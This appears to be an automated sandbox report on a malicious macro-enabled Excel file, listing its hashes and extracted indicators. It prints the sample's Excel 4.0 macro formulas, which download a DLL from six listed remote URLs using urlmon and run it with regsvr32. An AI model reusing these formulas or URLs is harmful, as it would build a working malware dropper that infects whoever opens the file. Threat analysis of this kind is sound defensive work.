Behavioral task
behavioral1
Sample
RLP1964598032xlsm.xlsm
Resource
win7-20230621-en
Behavioral task
behavioral2
Sample
RLP1964598032xlsm.xlsm
Resource
win10v2004-20230621-en
General
-
Target
RLP1964598032xlsm.xlsm
-
Size
46KB
-
MD5
8d9e59e5063fe4fdc5eb1f7e4f242405
-
SHA1
c767e1544bbd7ea7c33d7d8034ef266c8d9f01a6
-
SHA256
816139a521f5f7194347aea048e100b8893fa8ce7d6a86910a72bb190425e553
-
SHA512
dacde4954db52f6dd220cc959e2434d88d9be58d517e4daeda68be650516caf81e64fa6b69e09a4ce7e1d03cf2021a470c214e8356d9671d6ee300104d24b40f
-
SSDEEP
768:QmBlntZhEI2YmxNskmoKjBvK3HqK88F/G6YzATUfJnXYS6oRM:hBlntTEvDLmXi3JvG6YzATOJnXYSXRM
Malware Config
Extracted
http://eles-tech.com/css/KzMysMqFMs/
http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/
https://txpcrescue.com/cgi-bin/5tSO8/
http://hadramout21.com/jetpack-temp/Py/
http://haribuilders.com/zoombox-master/4HYGX/
http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()
Signatures
Files
-
RLP1964598032xlsm.xlsm.xlsm office2007